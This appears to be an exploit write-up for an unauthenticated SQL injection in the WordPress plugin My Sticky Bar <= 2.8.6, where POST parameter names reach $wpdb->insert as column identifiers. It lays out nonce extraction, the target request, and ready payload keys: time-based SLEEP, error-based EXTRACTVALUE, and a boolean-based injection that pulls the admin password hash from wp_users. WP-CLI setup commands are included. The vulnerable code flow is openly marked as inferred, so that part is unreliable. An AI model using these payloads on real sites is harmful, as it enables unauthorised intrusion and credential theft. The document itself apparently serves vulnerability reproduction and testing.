My Sticky Bar <= 2.8.6 - Unauthenticated SQL Injection via 'stickymenu_contact_lead_form' Action

1. Vulnerability Summary

The My Sticky Bar plugin (version <= 2.8.6) is vulnerable to **Unauthenticated Time-Based Blind SQL Injection**. The vulnerability exists in the stickymenu_contact_lead_form AJAX handler. While the values of the submitted form are sanitized, the **keys** (parameter names) of the $_POST array are used directly as column identifiers in a $wpdb->insert() call without adequate sanitization or whitelisting. This allows an attacker to manipulate the resulting SQL query to execute arbitrary subqueries, such as SLEEP(), enabling data extraction.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: stickymenu_contact_lead_form
• Vulnerable Parameter: The keys (names) of POST parameters.
• Authentication: Unauthenticated (accessible via wp_ajax_nopriv_).
• Preconditions: The "Welcome Bar" feature must be active or the AJAX action must be reachable.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=stickymenu_contact_lead_form.
2. Hook Registration: The plugin registers the action in welcome-bar.php (inferred from mystickymenu.php line 26: require_once("welcome-bar.php");).
3. Handler Execution: The handler (likely stickymenu_contact_lead_form function) iterates through $_POST data.
4. Vulnerable Sink:

   // Inferred logic based on vulnerability description
   $data = array();
   foreach ( $_POST as $key => $value ) {
       if ( $key !== 'action' && $key !== 'nonce' ) {
           $data[$key] = sanitize_text_field($value); // Only values are sanitized
       }
   }
   $wpdb->insert( $wpdb->prefix . 'mystickymenu_contact_lists', $data );
   

5. SQL Generation: $wpdb->insert builds the query by wrapping keys in backticks: `key`. By injecting a backtick in the key, an attacker can break out of the column identifier context.

4. Nonce Acquisition Strategy

The plugin typically exposes a nonce for this action to the frontend via wp_localize_script.

1. Identify Variable: The plugin localizes data under the object mysticky_welcomebar_data.
2. Locate Nonce: The nonce is stored in mysticky_welcomebar_data.ajax_nonce.
3. Setup Page: Since the bar might only load if configured, we will create a post and ensure the plugin is initialized.
4. Extraction:
   • Navigate to a page where the Welcome Bar is active.
   • Use browser_eval to extract: window.mysticky_welcomebar_data?.ajax_nonce.

5. Exploitation Strategy

We will use a time-based blind approach. Since we are injecting into the column names of an INSERT statement, we can use the ON DUPLICATE KEY UPDATE trick or manipulate the column list to trigger a subquery.

Payload Structure:
The key will be crafted to close the backtick, terminate the column list, and append an ON DUPLICATE KEY UPDATE clause or similar.

Target Request:

• Method: POST
• URL: {{BASE_URL}}/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: stickymenu_contact_lead_form
  • nonce: {{EXTRACTED_NONCE}}
  • stickymenu_contact_name: test
  • stickymenu_contact_email: test@example.com
  • SQLi Key: contact_message` ) VALUES ('val') ON DUPLICATE KEY UPDATE id=SLEEP(5)--: 1

Refined SQLi Key (MySQL 8.0+ compatible):
The most reliable way to inject into $wpdb->insert keys is to create an invalid column list that MySQL evaluates before failing, or using a subquery if the DB allows it in that context.
A common bypass: email`,(SELECT(1)FROM(SELECT(SLEEP(5)))a))#

Payload Execution:

1. Baseline: Send a normal request. Measure response time (Expected: ~100-200ms).
2. Attack: Send a request with the SLEEP(5) payload in the key name.
3. Confirmation: If the response time is > 5 seconds, SQLi is confirmed.

6. Test Data Setup

1. Enable Welcome Bar:

   wp option update mysticky_option_welcomebar '{"mysticky_welcomebar_enable":"1","mysticky_welcomebar_position":"top","mysticky_welcomebar_height":"60"}' --format=json
   

2. Create Lead Form Table: Ensure the table exists (this usually happens on activation).

   wp eval 'global $wpdb; $table = $wpdb->prefix . "mystickymenu_contact_lists"; $wpdb->query("CREATE TABLE IF NOT EXISTS $table (id INT AUTO_INCREMENT PRIMARY KEY, contact_name VARCHAR(255), contact_email VARCHAR(255), contact_message TEXT, created_at DATETIME)");'
   

3. Create Test Page:

   wp post create --post_type=page --post_title="Sticky Test" --post_status=publish --post_content="Testing Sticky Bar"
   

7. Expected Results

• The baseline request should return a success message (likely {"success":true,...}) or 1 quickly.
• The malicious request should hang for exactly the number of seconds specified in SLEEP().
• The HTTP status code may still be 200, but the execution time will be the primary indicator.

8. Verification Steps

1. Database Check: Verify if the "corrupted" key caused a partial insert or an error in the logs.

   wp db query "SELECT * FROM wp_mystickymenu_contact_lists ORDER BY id DESC LIMIT 1"
   

2. Log Review: If WP_DEBUG is on, check wp-content/debug.log for SQL syntax errors which confirm the injection point.

9. Alternative Approaches

If the INSERT column injection is strictly validated by the database engine (preventing subqueries in column lists):

• Error-Based: Use GTID_SUBSET or EXTRACTVALUE inside the key to trigger an error that leaks the version string.
  • Key: email`,(EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))))#
• Field Manipulation: Attempt to inject into the VALUES part by closing the column list early:
  • Key: email`) VALUES ('test@test.com')# (Note: $wpdb usually appends its own values, so this requires balancing).
• Boolean-Based: Use IF logic to trigger a delay only if a condition is met (e.g., first letter of admin password).
  • Key: email`,(IF(SUBSTR((SELECT+user_pass+FROM+wp_users+LIMIT+1),1,1)='$',SLEEP(5),1)))#